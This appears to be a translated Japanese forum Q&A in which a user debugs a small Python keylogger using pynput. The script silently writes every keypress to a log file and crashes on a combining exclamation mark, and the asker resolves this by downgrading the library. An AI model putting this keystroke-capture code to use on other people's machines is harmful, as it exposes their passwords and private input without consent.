2017-08-30 3 views
0

私はpynputで少しのキーロガーを作ろうとしました。pynput感嘆符を組み合わせて

私のコードです:

from pynput.keyboard import Key, Listener 
import os 
import logging 

log_dir = "C:\WindowsLogs\dist" 
filename = "logging" 
logging.basicConfig(filename=(log_dir + filename), level=logging.DEBUG, format='%(asctime)s: %(message)s') 

def on_press(key): 
    logging.info(str(key)) 

with Listener(on_press=on_press) as listener: 
    listener.join() 

すべてが正常に動作し、それはまた、すべてのキーを保存しません。しかし、感嘆符を押すと、エラーが発生します。

Traceback (most recent call last): 
File "test2.py", line 16, in <module> 
listener.join() 

File "C:\Python27\lib\site-packages\pynput\_util\__init__.py", line 185, in join 
six.reraise(exc_type, exc_value, exc_traceback) 

File "C:\Python27\lib\site-packages\pynput\_util\__init__.py", line 140, in inner 
return f(self, *args, **kwargs) 

File "C:\Python27\lib\site-packages\pynput\keyboard\_win32.py", line 232, in _process 
key = self._event_to_key(msg, vk) 

File "C:\Python27\lib\site-packages\pynput\keyboard\_win32.py", line 265, in _event_to_key 
msg in self._PRESS_MESSAGES)) 

File "C:\Python27\lib\site-packages\pynput\keyboard\_base.py", line 49, in __init__ 
'COMBINING ' + unicodedata.name(self.char)) 

KeyError: "undefined character name 'COMBINING EXCLAMATION MARK'" 

コードには何が問題なのですか?それはどういう意味ですか?

+0

これはコードの一部ですが、実行されません。 [mcve]を作成し、完全なトレースバックを含めると、エラーの原因となった行がわかります。 –

+0

キーの印刷方法を教えてください。おもう ! pynputごとに特別です –

+0

提案ありがとうございます。これは私が実行しているコードです。私も全体のエラーメッセージを追加しました。私はあなたが今それをより良く使うことができることを願っています。 –

答えて

0

私はそれを手に入れました!それはpynputのバグです。古いバージョンをインストールしましたが、今は完全に動作します!